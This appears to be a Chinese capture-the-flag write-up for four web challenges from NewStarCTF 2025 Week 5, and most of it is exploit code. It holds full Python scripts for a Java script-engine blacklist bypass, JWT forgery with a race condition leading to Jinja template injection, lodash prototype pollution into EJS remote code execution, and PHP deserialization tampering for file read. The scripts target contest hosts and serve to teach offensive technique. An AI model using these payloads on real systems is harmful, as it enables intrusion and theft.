NewStarCTF2025-Week5-Web

目录

1、眼熟的计算器

2、废弃的网站

3、小W和小K的故事(最终章)

[4、Binary Blog](#4、Binary Blog)


1、眼熟的计算器

反编译jar包看源码

做了黑名单,需要绕过,然后执行命令

Exp:

python 复制代码
import requests
import urllib.parse
import re

host = "http://8.147.132.32:38529"
url = f"{host}/calc"

# 绕过黑名单: "java.lang.Runtime", "new"
# 使用字符串拼接 + 反射获取 Scanner 构造器 + newInstance 调用
exploit_js = r'''
var rtName = 'java.lang.Run' + 'time';
var Runtime = Java.type(rtName);
var runtime = Runtime.getRuntime();
var p = runtime.exec('cat /flag');
var is = p.getInputStream();
var Scanner = Java.type('java.util.Scanner');
var InputStream = Java.type('java.io.InputStream');
var StringClass = Java.type('java.lang.String');
var constr = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var n = 'n'; var e = 'e'; var w = 'w';
var methodName = n + e + w + 'Instance';
var scanner = constr[methodName](is, 'UTF-8');
scanner.useDelimiter('\\A');
var result = scanner.hasNext() ? scanner.next() : '';
if (result === '') {
  var es = p.getErrorStream();
  var constr_es = Scanner.class.getConstructor(InputStream.class, StringClass.class);
  var scanner_es = constr_es[methodName](es, 'UTF-8');
  scanner_es.useDelimiter('\\A');
  result = scanner_es.hasNext() ? scanner_es.next() : '';
}
scanner.close();
result;
'''

def send_request(content):
    encoded = urllib.parse.quote(content)
    target = url + "?content=" + encoded
    try:
        r = requests.get(target, timeout=30)
        return r.text
    except Exception as e:
        print("Request error:", e)
        return None

def main():
    print("Sending exploit payload...")
    text = send_request(exploit_js)
    if text:
        # 提取 flag
        match = re.search(r'flag\{[^}]*\}', text)
        if match:
            print("Flag found:", match.group(0))
        else:
            print("Flag not found in output. Raw response:")
            print(text)
    else:
        print("Request failed.")

if __name__ == "__main__":
    main()

2、废弃的网站

给了源码,结合提示,条件竞争打ssti

Exp:

python 复制代码
import requests
import re
import time
import jwt
import hashlib
import concurrent.futures

base_url = "http://8.147.132.32:13440"

# Step 1: Get running time and guest JWT
r = requests.get(base_url + '/', cookies={'session': 'invalid'})
text = r.text
match = re.search(r'System has been running (\d+) seconds.', text)
if not match:
    print("Failed to get running time.")
    exit(1)
running = int(match.group(1))

guest_jwt = r.cookies.get('session')
if not guest_jwt:
    print("Failed to get guest JWT.")
    exit(1)

# Step 2: Brute force start time (wider range)
current = int(time.time())
correct_secret = None
for offset in range(-60, 61):
    candidate = current - running + offset
    secret = hashlib.sha256(str(candidate).encode()).hexdigest()
    try:
        decoded = jwt.decode(guest_jwt, secret, algorithms=['HS256'])
        if decoded.get('role') == 'guest' and decoded.get('name') == 'Guest User':
            correct_secret = secret
            print(f"Secret found: start_time = {candidate}")
            break
    except:
        pass

if not correct_secret:
    print("Failed to find correct secret. Current time:", current, "Running:", running)
    exit(1)

# Step 3: Universal SSTI RCE payload (no hardcoded index)
ssti = r'''
{{ lipsum.__globals__["os"].popen("cat /flag").read() }}
'''

# Step 4: Forge JWTs
admin_jwt = jwt.encode({
    "id": 1, "role": "admin", "name": "Administrator"
}, correct_secret, algorithm='HS256')

exploit_jwt = jwt.encode({
    "id": 2, "role": "guest", "name": ssti
}, correct_secret, algorithm='HS256')


# Step 5: Race condition functions
def send_admin():
    return requests.get(base_url + '/admin', cookies={'session': admin_jwt}, timeout=15).text


def send_exploit():
    return requests.get(base_url + '/', cookies={'session': exploit_jwt}, timeout=15).text


# Step 6: Exploit with retry
def attempt():
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
        admin_future = executor.submit(send_admin)
        time.sleep(0.07)  # Critical: let admin request enter admin_required
        exploit_future = executor.submit(send_exploit)

        admin_text = admin_future.result()
        exploit_text = exploit_future.result()

    match = re.search(r'flag\{[^}]*\}', admin_text)
    if match:
        print("FLAG:", match.group(0))
        return True
    return False


# Step 7: Run multiple attempts
for i in range(50):
    print(f"Attempt {i + 1}/50...")
    if attempt():
        break
    time.sleep(0.3)
else:
    print("Failed after 50 attempts. Try again.")

3、小W和小K的故事(最终章)

考察原型链污染,题目使用固定种子预测 Admin 密码后登录;

通过 /addUser 路由中的 lodash.defaultsDeep(users, req.body)向全局 Object.prototype 注入 client=true 和恶意 escapeFunction;

最终,当访问 / 路由触发 res.render('index', ...) 渲染 EJS 模板时,EJS 会误将全局原型链上的恶意属性视为有效渲染选项并执行 escapeFunction,从而实现 RCE 获取 Flag。

Exp:

python 复制代码
import requests
import json
import re
import sys

# --- Configuration ---
TARGET_URL = "https://eci-2ze0q0ggj5u9py52mu38.cloudeci1.ichunqiu.com:3000"
ADMIN_USERNAME = 'admin'
PRNG_SEED = 114514

requests.packages.urllib3.disable_warnings()


# --- PRNG Calculation ---
class PRNG:
    MODULUS = 998244353
    MULTIPLIER = 48271
    CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

    def __init__(self, seed):
        self.seed = seed % self.MODULUS

    def next_int(self):
        self.seed = (self.seed * self.MULTIPLIER) % self.MODULUS
        return self.seed

    def get_random_int(self, min_val, max_val):
        return min_val + (self.next_int() % (max_val - min_val))

    def get_random_string(self, length):
        result = ""
        for _ in range(length):
            random_index = self.get_random_int(0, len(self.CHARSET))
            result += self.CHARSET[random_index]
        return result


def calculate_admin_password(seed):
    rng = PRNG(seed)
    rng.get_random_string(16)  # Session Secret (State change)
    return rng.get_random_string(16)  # Admin Password


# --- Main Exploit Function ---
def exploit_rce():
    session = requests.Session()

    # 1. Calculate password and login
    admin_password = calculate_admin_password(PRNG_SEED)
    print(f"🔑 Admin Password: {admin_password}")

    login_url = f"{TARGET_URL}/login"
    login_payload = {"username": ADMIN_USERNAME, "password": admin_password}

    try:
        session.post(login_url, json=login_payload, allow_redirects=False, verify=False)
    except requests.exceptions.RequestException as e:
        print(f"❌ Login error: {e}");
        sys.exit(1)

    if 'session' not in session.cookies:
        print("❌ Login failed. Exiting.");
        sys.exit(1)

    print("✅ Logged in.")

    # 2. Prototype Pollution Payload
    rce_payload_value = f"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"

    pollution_payload = {
        "constructor": {
            "prototype": {
                "client": True,
                "escapeFunction": rce_payload_value
            }
        }
    }

    # 3. Trigger Pollution via /addUser (lodash.defaultsDeep)
    add_user_url = f"{TARGET_URL}/addUser"
    try:
        session.post(add_user_url, json=pollution_payload, allow_redirects=False, verify=False)
        print("✅ Pollution payload sent.")
    except requests.exceptions.RequestException as e:
        print(f"❌ Pollution request error: {e}");
        sys.exit(1)

    # 4. Trigger EJS RCE (GET /)
    trigger_url = f"{TARGET_URL}/"
    print("🔥 Triggering RCE...")

    try:
        response = session.get(trigger_url, verify=False)
        flag_match = re.search(r'ichiq\{[a-zA-Z0-9_-]+\}', response.text)

        if flag_match:
            print("\n🎉 **Flag Found!** 🎉")
            print("====================================")
            print(f"FLAG: **{flag_match.group(0)}**")
            print("====================================")
        else:
            print("\n🤔 Flag not matched. Check response snippet:")
            print(response.text[:500])

    except requests.exceptions.RequestException as e:
        print(f"❌ RCE trigger error: {e}")


if __name__ == "__main__":
    exploit_rce()

4、Binary Blog

尝试登录admin未成功,随便注册一个账号进去看看

测了下功能点,发现存在文件上传点

随便传了个东西,注意到报错反序列化失败

因为不清楚它反序列化的情况,我们直接发布博客导出看看dat文件的内容

注意到其中template默认是default.php,尝试换成其他文件,比如/etc/passwd

发现存在任意文件读取漏洞

Payload:

python 复制代码
a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:11:"/etc/passwd";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}

尝试使用伪协议读取flag.php

Payload:

python 复制代码
a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:55:"php://filter/convert.iconv.SJIS.UCS-4/resource=flag.php";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}
相关推荐
未来之窗软件服务1 小时前
幽冥大陆(三十九)php二维数组去重——东方仙盟筑基期
android·开发语言·算法·php·仙盟创梦ide·东方仙盟·东方仙盟sdk
BD_Marathon1 小时前
【IDEA】常用插件——1
java·ide·intellij-idea
DFT计算杂谈1 小时前
Abinit-10.4.7安装教程
linux·数据库·python·算法·matlab
程序猫.1 小时前
Java零基础入门:集合进阶(下)
java·开发语言
Z***G4791 小时前
SpringBoot线程池的使用
java·spring boot·后端
L***d6701 小时前
Spring Boot 整合 Keycloak
java·spring boot·后端
王桑.1 小时前
spring中的设置定时任务工具--springtask
java·spring·java-ee
n***27191 小时前
工作中常用springboot启动后执行的方法
java·spring boot·后端
tgethe1 小时前
MybatisPlus基础部分详解(上篇)
java·spring boot·mybatisplus